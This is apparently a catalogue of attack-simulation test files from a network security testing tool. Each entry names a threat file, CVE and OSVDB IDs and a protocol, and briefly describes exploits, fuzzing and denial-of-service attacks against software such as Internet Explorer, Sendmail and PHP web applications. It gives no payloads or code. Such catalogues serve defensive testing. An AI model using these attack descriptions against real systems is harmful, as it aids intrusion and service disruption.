Detailed Description:	An arbitrary command execution vulnerability exists in Samsung Kies. The vulnerability is due to insufficient validation of incoming requests. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to access a malicious web site. This can result in arbitrary command execution in the context of the affected user.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2012-3807
OSVDB:	86501
Threat File Name:	fuzz-SMTP-HELO_Parameter_A_IPv6.xml
Executive Description:	Fuzz SMTP HELO verb with large buffer (IPv6 Version)
Detailed Description:	Fuzzes the SMTP HELO Parameter with A from size of 0 to a size of 4096. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	vpasp_sqli_IPv6.xml
Executive Description:	VP-ASP 6.00 SQL Injection (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP GET query which includes an SQL query which is executed by the server via the "cid" parameter. VP-ASP is a web based application with typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2263
Threat Package:	Standard
Threat File Name:	TSL20131126-01_ManageEngine_DesktopCentral_AgentLogUpload_Arbitrary_File_Upload.xml
Executive Description:	ManageEngine DesktopCentral AgentLogUpload Arbitrary File Upload
Detailed Description:	A code execution vulnerability has been reported in ManageEngine DesktopCentral. The vulnerability is due to lack of authentication and insufficient input validation in the <code><AgentLogUploadServlet.class></code> when processing HTTP requests. A remote unauthenticated attacker can upload arbitrary files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing executable files in critical locations.
Protocol Type:	HTTP, HTTPS
OSVDB:	100008
Threat File Name:	FSC20090113-26_Oracle_Application_Server_BPEL_Module_Cross_Site_Scripting_IPv6.xml
Executive Description:	Oracle Application Server BPEL Module Cross Site Scripting (IPv6 Version)
Detailed Description:	A cross-site scripting vulnerability exists in Oracle Application Server. The flaw is due to lack of validation of the user supplied data. The flaw may be exploited by malicious users to execute arbitrary HTML and script code on target user's web browser, within the context of a trusted web session. An attack targeting this vulnerability can result in the injection and execution of script code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Unsuccessful attack attempts could either be unnoticed by the target user, or cause incorrect rendering of the affected web pages. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2008-4014
Threat Package:	Standard

Threat File Name:	FSC20080212-31_Facebook_Photo_Uploader_ActiveX_Control_FileMask_Method_Buffer_Overflow.xml
Executive Description:	Facebook Photo Uploader ActiveX Control FileMask Method Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in the Facebook Photo Uploader ActiveX control. The flaw is due to boundary error in control's FileMask method. Remote attackers can exploit this vulnerability by persuading the target user to view a malicious web page. Successful attack could allow for arbitrary code execution with privileges of the currently logged on user.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20080220-19_Sybase_SQL_Anywhere_MobiLink_Crafted_Strings_Buffer_Overflow_IPv6.xml
Executive Description:	Sybase SQL Anywhere MobiLink Crafted Strings Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in the MobiLink component of Sybase SQL Anywhere. The flaw is due to boundary error when processing overly long strings in received network messages. A remote unauthenticated attacker can leverage this vulnerability to create a denial of service condition to the affected server, or inject and execute arbitrary code with privileges of currently logged-in user. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20090427-05_Mozilla_Firefox_ClearTextRun_Function_Memory_Corruption_IPv6.xml
Executive Description:	Mozilla Firefox ClearTextRun Function Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption exists vulnerability in Mozilla Firefox. This flaw is due to improper handling of script that manipulates text objects in HTML document. A remote attacker can exploit this vulnerability by persuading the target user to open a malicious webpage. Successful attacks could allow for arbitrary code injection and execution with the privileges of the currently logged on user. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. In the case of an unsuccessful code execution attack, Firefox may terminate abnormally. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-1313
Threat Package:	Standard
Threat File Name:	TSL20121011-06_Mozilla_Firefox_Cross_Domain_Information_Disclosure.xml
Executive Description:	Mozilla Firefox Cross Domain Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in Mozilla Firefox. The vulnerability is due to a design weakness when handling a cross domain object. A remote attacker can exploit the vulnerability by enticing a user to open a specially crafted web page or an email containing crafted content. Successful exploitation could result the information disclosure.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP
CVEID:	CVE-2012-4192
OSVDB:	86126
Threat File Name:	FSC20081204-16_Sun_Java_Runtime_Environment_Pack200-Decompression_Integer_Overflow.xml
Executive Description:	Sun Java Runtime Environment Pack200 Decompression Integer Overflow
Detailed Description:	There exists an integer overflow vulnerability in Sun Java Runtime Environment software. The vulnerability is due to insufficient validation while decompressing Pack200 (jar.pack.gz) files. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted HTML file. Successful exploitation may lead to arbitrary code execution on the target. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected process will terminate abnormally.
Protocol Type:	HTTP
CVEID:	CVE-2008-5352
Threat Package:	Standard
Threat File Name:	wowroster_rfi.xml
Executive Description:	World of Warcraft (WoW) Roster Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. WoW Roster is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20080312-09_Cisco_Secure_Access_Control_Server_UCP_Application_CSuserCGI.exe_Buffer_Overflow.xml
Executive Description:	Cisco Secure Access Control Server UCP Application CSuserCGI.exe Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Cisco User-Changeable Password (UCP) application that is used by Cisco Secure Access Control Server (ACS) and other products. The vulnerability is due to insufficient input validation in the executable file CSuserCGI.exe. Remote unauthenticated attackers could exploit this vulnerability by providing a large argument in a request to the server, and leverage this vulnerability to execute arbitrary code with the privileges of the affected product, or cause a denial of service condition. In an attack case where code injection is not successful, the affected application will terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected service.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-0532
Threat Package:	Standard
Threat File Name:	lupper6.xml
Executive Description:	Lupper Worm 6
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	TSL20150409-03_IBM_Tivoli_Storage_Manager_FastBack_Mount_Opcode_0x09_Stack_Buffer_Overflow_IPv6.xml

Executive Description:	IBM Tivoli Storage Manager FastBack Mount Opcode 0x09 Stack Buffer Overflow IPv6 version.
Detailed Description:	A stack-based buffer overflow vulnerability exists in IBM Tivoli Storage Manager FastBack Mount. The vulnerability is due to insufficient input validation of opcode 0x09 messages before copying user-supplied data into a stack buffer. A remote unauthenticated attacker could exploit this vulnerability by sending crafted requests to port 30051/TCP. Successful exploitation can result in arbitrary code execution within the security context of the System user. Tester should set variable \$destPort to 30051 before test.
Protocol Type:	IBM TSM FastBack Mount
CVEID:	CVE-2015-0119
Threat File Name:	TSL20170207-01_Microsoft_Windows_SMB_Tree_Connect_Response_Denial_of_Service.xml
Executive Description:	Microsoft Windows SMB Tree Connect Response Denial of Service
Detailed Description:	A denial of service vulnerability has been reported in Microsoft Windows. The vulnerability is due to improper handling of server response that contains many bytes following the structure defined in the SMB2 TREE_CONNECT Response structure. An unauthenticated attacker could exploit this vulnerability by sending maliciously crafted server response. Successful exploitation would lead to denial of service conditions on a vulnerable system. The vendor, Microsoft, has not released an advisory regarding the vulnerability at the time of writing.
Protocol Type:	SMB/CIFS
CVEID:	CVE-2017-0016
Threat File Name:	TSL20111102-06_Bennet-Tec_TList_ActiveX_SaveData_Arbitrary_File_Creation_IPv6.xml
Executive Description:	Bennet-Tec TList ActiveX SaveData Arbitrary File Creation(IPV6 VERSION)
Detailed Description:	An insecure method is exposed by Bennet-Tec's TList ActiveX control. The vulnerability is caused due to the TList.TList.[6-8] (TList[6-8].ocx) control including the insecure "SaveData" method. This can be exploited to create or rewrite arbitrary files in the context of the currently logged-on user. A remote attacker could possibly exploit this vulnerability to achieve arbitrary code execution by enticing a target user to open a crafted web page.
Protocol Type:	IPV6,HTTP,HTTPS
Threat File Name:	FSC20100826-10_Oracle_MySQL_Database_IN_and_CASE_NULL_Argument_Denial_of_Service.xml
Executive Description:	Oracle MySQL Database IN and CASE NULL Argument Denial of Service
Detailed Description:	A Denial of Service vulnerability exists in Oracle MySQL database server. The vulnerability is due to an error while handling IN or CASE functions when NULL arguments are passed to the functions either by the WITH ROLLUP modifier or explicitly. Remote authenticated attackers can exploit this vulnerability by sending malicious command packets to the server. Successful exploitation would cause the target server to terminate, denying service to all users until the server is restarted.
Protocol Type:	MySQL
Threat Package:	Standard
Threat File Name:	prorat_bof.xml
Executive Description:	ProRat Buffer Overflow
Detailed Description:	This attack causes a buffer overflow in the ProRat Remote Access tool. ProRat is a remote access tool used by hackers to control victim computers. This can flaw can allow another hacker to break in. ProRat server typically listens on port 5110.
Protocol Type:	Proprietary
Threat Package:	Standard
Threat File Name:	fuzz-SMTP-HELO_Parameter_star_IPv6.xml
Executive Description:	Fuzz SMTP HELO verb with * (IPv6 Version)
Detailed Description:	Fuzzes the SMTP HELO Parameter with * from size of 0 to a size of 4096. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	etomite_sqli.xml
Executive Description:	Etomite Index.PHP SQL Injection Vulnerability
Detailed Description:	This threat uses crafted web client requests to leverage vulnerabilities in a webserver running Etomite CMS software with the purpose of disclosing admin credentials via injected sql commands. Etomite CMS is a web application that typically listens on port 80
Protocol Type:	HTTP
OSVDB:	27485
Threat Package:	Standard
Threat File Name:	realplyer_10_dos_IPv6.xml
Executive Description:	Real player 10 Gold .Ra file Remote Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat leverages a memory leak in Real Player 10 that will result in a denial of service condition due to resource consumption. Real Player is a client application and can receive media input via a web server listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2497
Threat Package:	Standard
Threat File Name:	TSL20071009-16_Microsoft_Windows_Kodak_Image_Viewer_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows Kodak Image Viewer Code Execution IPv6 version
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Windows Kodak Image Viewer. The vulnerability is due to improper parsing of specially crafted image files, such as TIFF files. An attacker can exploit the vulnerability by constructing a specially crafted image and enticing a victim to open the malicious image with an affected version of product. Successful exploitation of this vulnerability would result in arbitrary code execution in the context of the logged-in user. An attack targeting this vulnerability can result in the injection and execution of arbitrary code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any injected code will be executed within the security context of the currently logged in user.>In the case of an unsuccessful code execution attack attempt, the vulnerable application that opens the malicious TIFF file will terminate unexpectedly. The vulnerable applications include Microsoft Internet Explorer, Windows Explorer, and the Windows picture and fax viewer are the affected as well. Note that the vulnerability may be triggered in the Windows Explorer by either attempting to get the file properties, or preview of the file in form of thumbnails or web view folders.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/ SMB/CIFS SMTP>IPV6
CVEID:	CVE-2007-2217
Threat File Name:	sipmultlength_IPv6.xml

Executive Description:	SIPPING: Multiple Content Lengths (IPv6 Version)
Detailed Description:	This threat sends out a SIP OPTIONS message with multiple Content-Length: headers. This is illegal and an implementation won't know how large the content is, so it may produce unpredictable results. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	FSC20071211-10_Microsoft_Internet_Explorer_Object_Reference_Counting_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer Object Reference Counting Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer handles incorrectly initialized or removed objects. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation may allow the attacker to execute arbitrary code on the vulnerable client system, in the context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3902
Threat Package:	Standard
Threat File Name:	aceftp_dos_IPv6.xml
Executive Description:	Ace-FTP Client 1.24a Remote Buffer Overflow Proof of Concept (IPv6 Version)
Detailed Description:	This threat uses a malicious ftp server to send a large buffer to any connecting AceFTP clients, causing a denial of service condition. AceFTP client typically connects to ftp port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2007-3161
Threat Package:	Standard
Threat File Name:	FSC20090330-09_Sun_Java_Runtime_Environment_GIF_Parsing_Memory_Corruption.xml
Executive Description:	Sun Java Runtime Environment GIF Parsing Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Sun Microsystems Inc.'s Java Runtime Environment (JRE). The flaw is due to a boundary error while processing a crafted GIF image. A remote attacker may exploit this vulnerability by enticing the target user to visit a malicious web page. Successful attack may allow for arbitrary code injection and execution with privileges of the target user. In an attack case where code injection is not successful, the affected process will terminate abnormally. In a more sophisticated attack scenario where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. In such a case, the injected code will be executed within the context of the currently logged in user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-1098
Threat Package:	Standard
Threat File Name:	blur6ex_xss.xml
Executive Description:	Blursoft Blur6ex Cross-site scripting Vulnerability
Detailed Description:	This threat sends a crafted URL that contains a malicious script which is then executed by the server. Blur6ex is a web application that typically listens on port 80
Protocol Type:	HTTP
CVEID:	CVE-2006-1762
OSVDB:	24685
Threat Package:	Standard
Threat File Name:	ipv6_Netbios_crash.xml
Executive Description:	IPv6 Microsoft NetBIOS Denial of Service
Detailed Description:	This threat sends a large amount of data at UDP port 137. Known to cause older implementations of Microsoft Windows to use 100% CPU and crash the NetBIOS service. This is an IPv6 version of this threat.
Protocol Type:	NETBIOS_NS
Threat Package:	Standard
Threat File Name:	ms05-019_ipoptions.xml
Executive Description:	MS05-019 Microsoft IP Options Off By One
Detailed Description:	This attack causes the Microsoft Windows TCP/IP stack to write to one byte of unallocated memory, potentially causing a crash.
Protocol Type:	IP
CVEID:	CVE-2005-0048
OSVDB:	15463
Threat Package:	Standard
Threat File Name:	negContentLength_IPv6.xml
Executive Description:	Negative Content Length GET Request (IPv6 Version)
Detailed Description:	This threat issues out a HTTP GET request for the root page of a web server. It specifies the content length as negative one, which can cause out of memory problems for some web servers. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-0482
OSVDB:	13958
Threat Package:	Standard
Threat File Name:	fusionSBX_IPv6.xml
Executive Description:	Fusion SBX Command Injection (IPv6 Version)
Detailed Description:	This threat injects an element into the database portion of the Fusion SBX web application. This element calls the PHP passthru command with an attacker supplied variable. This allows the attacker to issue remote commands in the context of the user running the webserver. Can lead to full remote compromise of system. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1596
OSVDB:	16217
Threat Package:	Standard
Threat File Name:	sendmail_header_IPv6.xml
Executive Description:	Sendmail Header Processing Buffer Overflow (IPv6 Version)

Detailed Description:	This threat causes a buffer overflow the header parsing component of Sendmail. This allows a remote attacker to run arbitrary shellcode code in the context of the mailserver. Sendmail is a SMTP server, and typically listens on port 25. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2002-1337
OSVDB:	4502
Threat Package:	Standard
Threat File Name:	TSL20110722-04_Apple_Safari_WebKit_innerHTML_Double_Free_Memory_Corruption_IPv6.xml
Executive Description:	Apple Safari WebKit innerHTML Double Free Memory Corruption(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Apple Safari. The vulnerability is due to a use-after-free error when clearing a body or iframe element dynamically using script code. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted web page. In attack scenarios where code execution is successful the behaviour of the target machine would depend entirely on the intention of the injected code, which would run within the security context of the logged on user. In situations where code execution is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2011-0221
Threat File Name:	snort_sack_dos_IPv6.xml
Executive Description:	Snort TCP SACK Option Denial Of Service (IPv6 Version)
Detailed Description:	By sending a badly formed TCP SACK Option in a packet, it is possible to cause Snort in certain circumstances to crash. Typically this will occur when verbose mode is turned on with the -v switch. (IPv6 Version)
Protocol Type:	TCP/IPv6
OSVDB:	19346
Threat Package:	Standard
Threat File Name:	lupper25.xml
Executive Description:	Lupper Worm 25
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	FSC20090414-13_Microsoft_Office_Word_WordPerfect_Converter_Buffer_Overflow.xml
Executive Description:	Microsoft Office Word WordPerfect Converter Buffer Overflow
Detailed Description:	A stack-based buffer overflow vulnerability exists in the Microsoft Office WordPerfect 6.x converter. The flaw is due to a boundary error when processing a crafted WordPerfect document file. A remote attacker can exploit this vulnerability by enticing the target user to open a specially crafted WordPerfect document with the affected software. Successful exploitation can lead to arbitrary code execution within the security context of the currently logged on user. In the case of an unsuccessful code execution attack, the affected product will terminate resulting in loss of any unsaved data from the current session. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0088
Threat Package:	Standard
Threat File Name:	TSL20120814-21_Adobe_Reader_and_Acrobat_RMA_Objects_Memory_Corruption_IPv6.xml
Executive Description:	Adobe Reader and Acrobat RMA Objects Memory Corruption(IPv6)
Detailed Description:	A code execution vulnerability exists in Adobe Reader and Acrobat which can allow an attacker to take control of a target system. The vulnerability is due to memory corruption while handling RMA objects in Javascript. A remote attacker could exploit this vulnerability by enticing a target user to open a crafted document. A successful attack could result in the execution of arbitrary code in the security context of the target user. In an attack case where code injection is not successful, the affected Adobe application parsing the malicious PDF document can terminate abnormally.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2012-4157
OSVDB:	84629
Threat File Name:	TSL20130212-21_Microsoft_Internet_Explorer_CPasteCommand_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer CPasteCommand Use After Free
Detailed Description:	A code execution vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is caused by the dereferencing of a pointer after the corresponding memory has been released. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-0027
OSVDB:	90124
Threat File Name:	FSC20101012-50_Microsoft_Internet_Explorer_CStyleSheetRule_Array_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CStyleSheetRule Array Memory
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error when handling dynamic rule changes in the page stylesheets. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-3328
Threat File Name:	UDP_frag_IPv6.xml
Executive Description:	UDP FRAG Attack (IPv6 Version)

Detailed Description:	This attack is based of the Imperfect Networks Incremental Frag attack. (IPv6 Version)
Protocol Type:	UDP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20170616-03_Microsoft_Windows_OLE_CVE-2017-8487_Global_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows OLE CVE-2017-8487 Global Buffer Overflow (IPv6 Version)
Detailed Description:	A global buffer overflow vulnerability exists in Microsoft Windows OLE. The vulnerability is due to improper validation of image files embedded within an OLE stream. A remote attacker can exploit this vulnerability by enticing the target user to open a specially crafted web page, an email message. Successful exploitation could lead to arbitrary code execution within the security context of the target user.
Protocol Type:	SMTP,IPv6
CVEID:	CVE-2017-8487
Threat File Name:	TSL20111012-06_Microsoft_Publisher_Pubconv_dll_Function_Pointer_Overwrite.xml
Executive Description:	Microsoft Publisher Pubconv.dll Function Pointer Overwrite
Detailed Description:	A memory corruption vulnerability exists in Microsoft Publisher, a component of Microsoft Office, that could allow a remote attacker to execute arbitrary code on the vulnerable system.The vulnerability is due to an error in the "pubconv.dll" library during the handling of Microsoft Publisher files that allows control of a function pointer. Remote attackers could exploit this vulnerability by enticing the target user to insert a malicious Publisher file into another Publisher document. Successful exploitation could result in execution of arbitrary code within the security context of the currently logged in user. An unsuccessful attempt will terminate the affected application abnormally
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,FTP
CVEID:	CVE-2011-4051
Threat File Name:	sugarsuite_rfi.xml
Executive Description:	Sugar Suite Open Source Multiple Remote and Local File Include Vulnerabilities
Detailed Description:	This threat sends a crafted HTTP query containing the path for a local file to include in the returned page via the "theme" parameter for every installed script. SugarCRM is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2460
Threat Package:	Standard
Threat File Name:	FSC20080909-09_Microsoft_Windows_Graphics_Rendering_Engine_GIF_Parsing_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows Graphics Rendering Engine GIF Parsing Buffer Overflow (IPv6 Version)
Detailed Description:	A remote code execution vulnerability exists in the way that Microsoft Windows Graphics Rendering Engine parses GIF images. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted GIF file image. Successful exploitation can result in arbitrary code execution under the credentials of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-3013
Threat Package:	Standard
Threat File Name:	FSC20110110-04_HP_Data_Protector_Manager_RDS_Denial_of_Service_IPv6.xml
Executive Description:	HP Data Protector Manager RDS Denial of Service (IPv6 Version)
Detailed Description:	A denial of service vulnerability exists in HP Data Protector Manager RDS service. The vulnerability is due to a design error while handling packets containing an overly large size value. Remote unauthenticated attackers could exploit this vulnerability by sending a crafted packet to the vulnerable service on the target server.Successful exploitation would terminate the RDS service.
Protocol Type:	IPv6,Proprietary
Threat File Name:	TSL20130708-05_Corel_PDF_Fusion_XPS_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Corel PDF Fusion XPS Stack Buffer Overflow [IPv6, Version]
Detailed Description:	A code execution vulnerability exists in Corel PDF Fusion. The vulnerability is due to a stack buffer overflow when parsing names in ZIP directory entries of an XPS file. A remote attacker could exploit this vulnerability by enticing a user to open a crafted XPS file. A successful attack would result in execution of arbitrary code in the security context of the affected application.
Protocol Type:	IPv6, HTTP, HTTPS,IMAP, POP3,SMB/CIFS,SMTP
CVEID:	CVE-2013-3248
OSVDB:	94933
Threat File Name:	FSC20081111-12_Microsoft_XML_Core_Services_MSXML_Header_Request_Information_Disclosure.xml
Executive Description:	Microsoft XML Core Services MSXML Header Request Information Disclosure
Detailed Description:	There exists an information disclosure vulnerability in in the way that Microsoft XML Core Services handles transfer-encoding headers. The vulnerability is due to a failure in the functionality of same origin policy because of improper handling of certain request headers. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation may allow the attackers to access contents of a web page belonging to a different domain and cause the information disclosure. A successful attack attempt will result in disclosure of sensitive information. The browser will not exhibit any unusual behaviour during nor after exploitation. For the most part, the target user will be unaware of an attack having taken place.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-4033
Threat Package:	Standard
Threat File Name:	contrex_XSS_injection.xml
Executive Description:	Contrex Cross Site Scripting Attack
Detailed Description:	This attack uses a XSS flaw in the Contrex CMS. This allows arbitrary injection of Javascript into the viewable page, allowing an attacker to steal session, password, and other personal information from the end user. Contrex is a PHP web application, and typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-2416
OSVDB:	18168

Threat Package:	Standard
Threat File Name:	limewire_IPv6.xml
Executive Description:	Limewire Arbitrary File Download (IPv6 Version)
Detailed Description:	This threat attempts to download an arbitrary file from a Limewire host. Limewire is a file sharing application, and uses the Gnutella protocol to share information. Limewire typically listens on port 6346. This particular threat will attempt to download the contents of /etc/passwd. (IPv6 Version)
Protocol Type:	Gnutella/IPv6
CVEID:	CVE-2005-0788
OSVDB:	14671
Threat Package:	Standard
Threat File Name:	articlebeach_script_rfi_IPv6.xml
Executive Description:	ArticleBeach Script <= 2.0 (page) Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.ArticleBeach Script is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5590
Threat Package:	Standard
Threat File Name:	lotusDOS_IPv6.xml
Executive Description:	IBM Lotus Domino Server Web Service Denial Of Service (IPv6 Version)
Detailed Description:	This threat causes the web service for Lotus Domino to crash. This is performed by sending a large HTTP GET request to the cgi-bin processor. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-0986
Threat Package:	Standard
Threat File Name:	FSC20060202-07_Mozilla_Products_QueryInterface_Method_Memory_Corruption_IPv6.xml
Executive Description:	Mozilla Products QueryInterface Method Memory Corruption (IPv6 Version)
Detailed Description:	A vulnerability exists in numerous Mozilla products. The flaw concerns a memory corruption issue caused by the QueryInterface method of the Location and Navigator objects. By persuading the target user to open a web page that contains malicious script, an attacker may execute arbitrary code on the target user's system. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0295
Threat Package:	Standard
Threat File Name:	hpe_rfi.xml
Executive Description:	Headline Portal Engine HPEInc Parameter Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Headline Portal Engine is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20130611-15_Microsoft_Internet_Explorer_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer Use After Free [IPv6, Version]
Detailed Description:	A use-after-free vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	IPv6, HTTP, HTTPS
CVEID:	CVE-2013-3121
OSVDB:	94115
Threat File Name:	TSL20111213-21_Microsoft_Office_PowerPoint_OfficeArt_Shape_Remote_Code_Execution.xml
Executive Description:	Microsoft Office PowerPoint OfficeArt Shape Remote Code Execution
Detailed Description:	A memory corruption vulnerability exists in Microsoft Office PowerPoint. The vulnerability is due to improper parsing of OfficeArt Shape records. An attacker can exploit this vulnerability by enticing a user to open a specially crafted PowerPoint file. This can result in code execution in the context of the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS
CVEID:	CVE-2011-4051
Threat File Name:	TSL20160913-37_Microsoft_Edge_CVE-2016-3294_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Edge CVE-2016-3294 Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Edge. This vulnerability is due to improper access of objects in memory. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution under the security context of the target user.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2016-3294
Threat File Name:	phpworm2.xml
Executive Description:	phpinclude.worm Attack 2
Detailed Description:	This threat attacks a common programming mistake in PHP. The PHP include worm attacks using a generic form of this attack. This is a sample of one version of this worm.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	vantage_answerworks_activex_bof_IPv6.xml
Executive Description:	Vantage Linguistics AnswerWorks 4 API ActiveX Control Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow Vantage Linguistics AnswerWorks ActiveX application, resulting in the overwritingof arbitrary files or code execution. This threat is delived via HTTP port 80. (IPv6 Version)

Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-6387
Threat Package:	Standard
Threat File Name:	IIS_tilde0DOS.xml
Executive Description:	IIS ~0 DoS
Detailed Description:	This attack exposes a flaw in Microsoft IIS V5.1 where the process inetinfo.exe can be crashed by sending a series of malformed HTTP requests. This vulnerability is only present in directories of the IIS machine where the execute permissions are set to Scripts and Executables. IIS Versions 5.0 and 6.0 are not vulnerable. IIS is a webserver that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-4360
OSVDB:	21805
Threat File Name:	FSC20060619-01_Microsoft_Excel_Crafted_URL_Unicode_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Excel Crafted URL Unicode Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Excel. The vulnerability is caused by improper sanitization of a Unicode string in Excel spreadsheet files. An attacker may exploit this vulnerability by enticing a user to open a crafted Excel file, which will enable the attacker to inject and execute arbitrary code within the security context of the target user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3086
Threat Package:	Standard
Threat File Name:	indiatimes_bof_IPv6.xml
Executive Description:	Indiatimes Messenger Buffer Overflow (IPv6 Version)
